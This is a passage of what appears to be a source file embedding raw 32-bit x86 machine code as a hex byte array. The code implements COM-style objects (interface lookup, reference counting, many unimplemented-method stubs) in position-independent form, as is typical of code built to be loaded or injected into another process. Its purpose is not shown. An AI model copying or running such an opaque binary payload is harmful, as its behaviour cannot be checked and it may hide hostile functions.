0xff, 0xd0, 0x83, 0xec, 0x04, 0x8b, 0x45, 1066 | 0xf4, 0x8d, 0x50, 0x14, 0x8b, 0x45, 0x14, 0x89, 0x10, 0xb8, 0x00, 0x00, 1067 | 0x00, 0x00, 0xc9, 0xc2, 0x14, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x48, 1068 | 0xc7, 0x45, 0xd0, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xcc, 0x00, 0x00, 1069 | 0x00, 0x00, 0xc7, 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 1070 | 0x08, 0x20, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 1071 | 0x00, 0x8d, 0x45, 0xd4, 0x89, 0x04, 0x24, 0xe8, 0x84, 0x11, 0x00, 0x00, 1072 | 0x8b, 0x45, 0x0c, 0x8b, 0x00, 0x8b, 0x50, 0x0c, 0x8d, 0x45, 0xd4, 0x89, 1073 | 0x44, 0x24, 0x04, 0x8b, 0x45, 0x0c, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 1074 | 0xec, 0x08, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x75, 0x2b, 0x8b, 1075 | 0x45, 0x0c, 0x8b, 0x00, 0x8b, 0x50, 0x10, 0x8d, 0x45, 0xc8, 0x89, 0x44, 1076 | 0x24, 0x0c, 0x8d, 0x45, 0xcc, 0x89, 0x44, 0x24, 0x08, 0x8d, 0x45, 0xd0, 1077 | 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x0c, 0x89, 0x04, 0x24, 0xff, 0xd2, 1078 | 0x83, 0xec, 0x10, 0x89, 0x45, 0xf4, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xc9, 1079 | 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x18, 0x8b, 0x45, 0x08, 1080 | 0x89, 0x45, 0xf4, 0x8b, 0x45, 0xf4, 0x8b, 0x40, 0x2c, 0x8b, 0x40, 0x54, 1081 | 0xff, 0xd0, 0x89, 0xc2, 0x8b, 0x45, 0x0c, 0x89, 0x10, 0xb8, 0x00, 0x00, 1082 | 0x00, 0x00, 0xc9, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x00, 0x00, 1083 | 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x00, 0x00, 1084 | 0x00, 0x00, 0x5d, 0xc2, 0x0c, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x00, 0x00, 1085 | 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x00, 0x00, 1086 | 0x00, 0x00, 0x5d, 0xc2, 0x04, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x00, 0x00, 1087 | 0x00, 0x00, 0x5d, 0xc2, 0x04, 0x00, 0x55, 0x89, 0xe5, 0x53, 0x83, 0xec, 1088 | 0x04, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x9b, 0x0d, 0x00, 0x00, 0x89, 1089 | 0xc2, 0xb9, 0x6d, 0x43, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 1090 | 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x03, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 1091 | 0xe8, 0x7d, 0x0d, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xfd, 0x43, 0x40, 0x00, 1092 | 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 1093 | 0x43, 0x04, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x5e, 0x0d, 0x00, 0x00, 1094 | 0x89, 0xc2, 0xb9, 0x22, 0x44, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 1095 | 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x08, 0x8b, 0x45, 0x0c, 1096 | 0x8b, 0x18, 0xe8, 0x3f, 0x0d, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x4f, 0x44, 1097 | 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 1098 | 0xd0, 0x89, 0x43, 0x0c, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x20, 0x0d, 1099 | 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x5b, 0x44, 0x40, 0x00, 0xb8, 0x5e, 0x50, 1100 | 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x10, 0x8b, 1101 | 0x45, 0x0c, 0xc7, 0x40, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 1102 | 0x8b, 0x55, 0x08, 0x89, 0x50, 0x08, 0x90, 0x83, 0xc4, 0x04, 0x5b, 0x5d, 1103 | 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x18, 0x83, 0x7d, 0x10, 0x00, 0x75, 1104 | 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x79, 0x8b, 0x45, 0x08, 0x8b, 1105 | 0x40, 0x08, 0x8d, 0x90, 0xf4, 0x05, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 1106 | 0x10, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 0x04, 0x89, 1107 | 0x14, 0x24, 0xe8, 0x40, 0x10, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x27, 0x8b, 1108 | 0x45, 0x08, 0x8b, 0x40, 0x08, 0x8d, 0x90, 0xb4, 0x06, 0x00, 0x00, 0xc7, 1109 | 0x44, 0x24, 0x08, 0x10, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 1110 | 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0x19, 0x10, 0x00, 0x00, 0x85, 0xc0, 1111 | 0x75, 0x1d, 0x8b, 0x45, 0x10, 0x8b, 0x55, 0x08, 0x89, 0x10, 0x8b, 0x45, 1112 | 0x08, 0x89, 0x04, 0x24, 0xe8, 0x1c, 0x00, 0x00, 0x00, 0x83, 0xec, 0x04, 1113 | 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0e, 0x8b, 0x45, 0x10, 0xc7, 0x00, 1114 | 0x00, 0x00, 0x00, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc9, 0xc2, 0x0c, 1115 | 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 0x83, 0xc0, 1116 | 0x04, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0xba, 0x01, 0x00, 0x00, 0x00, 1117 | 0xf0, 0x0f, 0xc1, 0x10, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x04, 0xc9, 0xc2, 1118 | 0x04, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 0x83, 1119 | 0xc0, 0x04, 0x89, 0x45, 0xf8, 0x8b, 0x55, 0xf8, 0xb8, 0x01, 0x00, 0x00, 1120 | 0x00, 0xf7, 0xd8, 0x89, 0xc1, 0x89, 0xc8, 0xf0, 0x0f, 0xc1, 0x02, 0x01, 1121 | 0xc8, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0xc9, 0xc2, 0x04, 0x00, 0x55, 1122 | 0x89, 0xe5, 0xb8, 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 1123 | 0x89, 0xe5, 0xb8, 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 1124 | 0x89, 0xe5, 0x53, 0x81, 0xec, 0x24, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x0c, 1125 | 0x8b, 0x18, 0xe8, 0xe3, 0x0b, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xac, 0x48, 1126 | 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 1127 | 0xd0, 0x89, 0x03, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0xc5, 0x0b, 0x00, 1128 | 0x00, 0x89, 0xc2, 0xb9, 0x58, 0x49, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 1129 | 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x04, 0x8b, 0x45, 1130 | 0x0c, 0x8b, 0x18, 0xe8, 0xa6, 0x0b, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x7d, 1131 | 0x49, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 1132 | 0x01, 0xd0, 0x89, 0x43, 0x08, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x87, 1133 | 0x0b, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xaa, 0x49, 0x40, 0x00, 0xb8, 0x5e, 1134 | 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x0c, 1135 | 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x68, 0x0b, 0x00, 0x00, 0x89, 0xc2, 1136 | 0xb9, 0xcc, 0x49, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 1137 | 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x10, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 1138 | 0xe8, 0x49, 0x0b, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x0c, 0x4a, 0x40, 0x00, 1139 | 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 1140 | 0x43, 0x14, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x2a, 0x0b, 0x00, 0x00, 1141 | 0x89, 0xc2, 0xb9, 0x44, 0x4a, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 1142 | 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x18, 0x8b, 0x45, 0x0c, 1143 | 0x8b, 0x18, 0xe8, 0x0b, 0x0b, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xaa, 0x4a, 1144 | 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 1145 | 0xd0, 0x89, 0x43, 0x1c, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0xec, 0x0a, 1146 | 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xb6, 0x4a, 0x40, 0x00, 0xb8, 0x5e, 0x50, 1147 | 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x20, 0x8b, 1148 | 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0xcd, 0x0a, 0x00, 0x00, 0x89, 0xc2, 0xb9, 1149 | 0xc2, 0x4a, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 1150 | 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x24, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 1151 | 0xae, 0x0a, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xce, 0x4a, 0x40, 0x00, 0xb8, 1152 | 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 1153 | 0x28, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x8f, 0x0a, 0x00, 0x00, 0x89, 1154 | 0xc2, 0xb9, 0xda, 0x4a, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 1155 | 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x2c, 0x8b, 0x45, 0x0c, 0x8b, 1156 | 0x18, 0xe8, 0x70, 0x0a, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xe6, 0x4a, 0x40, 1157 | 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 1158 | 0x89, 0x43, 0x30, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x51, 0x0a, 0x00, 1159 | 0x00, 0x89, 0xc2, 0xb9, 0xfc, 0x4a, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 1160 | 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x34, 0x8b, 0x45, 1161 | 0x0c, 0x8b, 0x18, 0xe8, 0x32, 0x0a, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x3c, 1162 | 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 1163 | 0x01, 0xd0, 0x89, 0x43, 0x38, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x13, 1164 | 0x0a, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x48, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 1165 | 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x3c, 1166 | 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0xf4, 0x09, 0x00, 0x00, 0x89, 0xc2, 1167 | 0xb9, 0x54, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 1168 | 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x40, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 1169 | 0xe8, 0xd5, 0x09, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x60, 0x4b, 0x40, 0x00, 1170 | 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 1171 | 0x43, 0x44, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0xb6, 0x09, 0x00, 0x00, 1172 | 0x89, 0xc2, 0xb9, 0x6c, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 1173 | 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x48, 0x8b, 0x45, 0x0c, 1174 | 0x8b, 0x18, 0xe8, 0x97, 0x09, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x78, 0x4b, 1175 | 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 1176 | 0xd0, 0x89, 0x43, 0x4c, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x78, 0x09, 1177 | 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x84, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 1178 | 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x50, 0x8b, 1179 | 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x59, 0x09, 0x00, 0x00, 0x89, 0xc2, 0xb9, 1180 | 0x90, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 1181 | 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x54, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 1182 | 0x3a, 0x09, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x9c, 0x4b, 0x40, 0x00, 0xb8, 1183 | 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 1184 | 0x58, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x1b, 0x09, 0x00, 0x00, 0x89, 1185 | 0xc2, 0xb9, 0xa8, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 1186 | 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x5c, 0x8b, 0x45, 0x0c, 0x8b, 1187 | 0x18, 0xe8, 0xfc, 0x08, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xb4, 0x4b, 0x40, 1188 | 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 1189 | 0x89, 0x43, 0x60, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0xdd, 0x08, 0x00, 1190 | 0x00, 0x89, 0xc2, 0xb9, 0xc0, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 1191 | 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x64, 0x8b, 0x45, 1192 | 0x0c, 0x8b, 0x18, 0xe8, 0xbe, 0x08, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xe3, 1193 | 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 1194 | 0x01, 0xd0, 0x89, 0x43, 0x68, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x9f, 1195 | 0x08, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0xef, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 1196 | 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x6c, 1197 | 0x8b, 0x45, 0x0c, 0x8b, 0x18, 0xe8, 0x80, 0x08, 0x00, 0x00, 0x89, 0xc2, 1198 | 0xb9, 0xfb, 0x4b, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 1199 | 0x89, 0xc8, 0x01, 0xd0, 0x89, 0x43, 0x70, 0x8b, 0x45, 0x0c, 0x8b, 0x18, 1200 | 0xe8, 0x61, 0x08, 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x07, 0x4c, 0x40, 0x00, 1201 | 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xd0, 0x89, 1202 | 0x43, 0x74, 0x8b, 0x45, 0x0c, 0xc7, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 1203 | 0x8b, 0x45, 0x0c, 0x8b, 0x55, 0x08, 0x89, 0x50, 0x14, 0x8b, 0x45, 0x08, 1204 | 0x8d, 0x90, 0xe8, 0x05, 0x00, 0x00, 0x8d, 0x85, 0xf2, 0xfd, 0xff, 0xff, 1205 | 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 1206 | 0x04, 0x24, 0xe8, 0x81, 0xd1, 0xff, 0xff, 0x8b, 0x45, 0x08, 0x8b, 0x90, 1207 | 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x83, 0xc0, 0x04, 0x89, 0x44, 1208 | 0x24, 0x04, 0x8d, 0x85, 0xf2, 0xfd, 0xff, 0xff, 0x89, 0x04, 0x24, 0xff, 1209 | 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x75, 1210 | 0x33, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x04, 0x8b, 0x00, 0x8b, 0x50, 0x18, 1211 | 0x8b, 0x45, 0x0c, 0x8d, 0x58, 0x08, 0x8b, 0x45, 0x08, 0x8d, 0x88, 0x84, 1212 | 0x06, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x04, 0x89, 0x5c, 0x24, 1213 | 0x08, 0x89, 0x4c, 0x24, 0x04, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 1214 | 0x0c, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0xf4, 0x8b, 0x5d, 0xfc, 0xc9, 0xc3, 1215 | 0x55, 0x89, 0xe5, 0x83, 0xec, 0x18, 0x83, 0x7d, 0x10, 0x00, 0x75, 0x0a, 1216 | 0xb8, 0x03, 0x40, 0x00, 0x80, 0xe9, 0x92, 0x00, 0x00, 0x00, 0x8b, 0x45, 1217 | 0x08, 0x8b, 0x40, 0x14, 0x8d, 0x90, 0xf4, 0x05, 0x00, 0x00, 0xc7, 0x44, 1218 | 0x24, 0x08, 0x10, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 1219 | 0x04, 0x89, 0x14, 0x24, 0xe8, 0xfe, 0x0a, 0x00, 0x00, 0x85, 0xc0, 0x74, 1220 | 0x4e, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x14, 0x8d, 0x90, 0x04, 0x06, 0x00, 1221 | 0x00, 0xc7, 0x44, 0x24, 0x08, 0x10, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 1222 | 0x89, 0x44, 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0xd7, 0x0a, 0x00, 0x00, 1223 | 0x85, 0xc0, 0x74, 0x27, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x14, 0x8d, 0x90, 1224 | 0x84, 0x06, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x10, 0x00, 0x00, 0x00, 1225 | 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0xb0, 1226 | 0x0a, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x0f, 0x8b, 0x45, 0x10, 0x8b, 0x55, 1227 | 0x08, 0x89, 0x10, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x0e, 0x8b, 0x45, 1228 | 0x10, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 1229 | 0xc9, 0xc2, 0x0c, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x10, 0x8b, 0x45, 1230 | 0x08, 0x83, 0xc0, 0x10, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0xba, 0x01, 1231 | 0x00, 0x00, 0x00, 0xf0, 0x0f, 0xc1, 0x10, 0x8b, 0x45, 0x08, 0x8b, 0x40, 1232 | 0x10, 0xc9, 0xc2, 0x04, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x10, 0x8b, 1233 | 0x45, 0x08, 0x83, 0xc0, 0x10, 0x89, 0x45, 0xf8, 0x8b, 0x55, 0xf8, 0xb8, 1234 | 0x01, 0x00, 0x00, 0x00, 0xf7, 0xd8, 0x89, 0xc1, 0x89, 0xc8, 0xf0, 0x0f, 1235 | 0xc1, 0x02, 0x01, 0xc8, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0xfc, 0xc9, 0xc2, 1236 | 0x04, 0x00, 0x55, 0x89, 0xe5, 0x83, 0x7d, 0x0c, 0x00, 0x75, 0x07, 0xb8, 1237 | 0x03, 0x40, 0x00, 0x80, 0xeb, 0x0e, 0x8b, 0x45, 0x0c, 0xc7, 0x00, 0x01, 1238 | 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00, 1239 | 0x55, 0x89, 0xe5, 0x83, 0xec, 0x18, 0x83, 0x7d, 0x14, 0x00, 0x75, 0x07, 1240 | 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x29, 0x8b, 0x45, 0x08, 0x8b, 0x40, 1241 | 0x08, 0x8b, 0x00, 0x8b, 0x50, 0x04, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x08, 1242 | 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x08, 0x8b, 1243 | 0x50, 0x08, 0x8b, 0x45, 0x14, 0x89, 0x10, 0xb8, 0x00, 0x00, 0x00, 0x00, 1244 | 0xc9, 0xc2, 0x10, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x18, 0x8b, 0x45, 1245 | 0x08, 0x8b, 0x40, 0x08, 0x8b, 0x00, 0x8b, 0x48, 0x28, 0x8b, 0x45, 0x08, 1246 | 0x8b, 0x40, 0x08, 0x8b, 0x55, 0x1c, 0x89, 0x54, 0x24, 0x0c, 0x8b, 0x55, 1247 | 0x14, 0x89, 0x54, 0x24, 0x08, 0x8b, 0x55, 0x10, 0x89, 0x54, 0x24, 0x04, 1248 | 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x10, 0xc9, 0xc2, 0x18, 0x00, 1249 | 0x55, 0x89, 0xe5, 0x53, 0x83, 0xec, 0x44, 0x8b, 0x45, 0x18, 0x66, 0x89, 1250 | 0x45, 0xe4, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x08, 0x8b, 0x00, 0x8b, 0x58, 1251 | 0x2c, 0x0f, 0xb7, 0x55, 0xe4, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x08, 0x8b, 1252 | 0x4d, 0x28, 0x89, 0x4c, 0x24, 0x1c, 0x8b, 0x4d, 0x24, 0x89, 0x4c, 0x24, 1253 | 0x18, 0x8b, 0x4d, 0x20, 0x89, 0x4c, 0x24, 0x14, 0x8b, 0x4d, 0x1c, 0x89, 1254 | 0x4c, 0x24, 0x10, 0x89, 0x54, 0x24, 0x0c, 0x8b, 0x55, 0x0c, 0x89, 0x54, 1255 | 0x24, 0x08, 0x8b, 0x55, 0x08, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 1256 | 0xff, 0xd3, 0x83, 0xec, 0x20, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0xf4, 0x8b, 1257 | 0x5d, 0xfc, 0xc9, 0xc2, 0x24, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x00, 0x00, 1258 | 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 0x40, 1259 | 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 0x40, 1260 | 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 0x40, 1261 | 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 0x40, 1262 | 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x04, 1263 | 0x8b, 0x45, 0x0c, 0x66, 0x89, 0x45, 0xfc, 0xb8, 0x01, 0x40, 0x00, 0x80, 1264 | 0xc9, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x18, 0x8b, 0x45, 1265 | 0x08, 0x8b, 0x40, 0x0c, 0x8b, 0x00, 0x8b, 0x50, 0x38, 0x8b, 0x45, 0x08, 1266 | 0x8b, 0x40, 0x0c, 0xc7, 0x44, 0x24, 0x0c, 0x00, 0x00, 0x00, 0x00, 0xc7, 1267 | 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0xfd, 1268 | 0xff, 0xff, 0xff, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x10, 0xb8, 1269 | 0x00, 0x00, 0x00, 0x00, 0xc9, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1270 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1271 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1272 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1273 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1274 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1275 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1276 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1277 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x10, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1278 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1279 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x14, 0x00, 0x55, 0x89, 0xe5, 0xb8, 1280 | 0x01, 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0x83, 1281 | 0xec, 0x18, 0x8b, 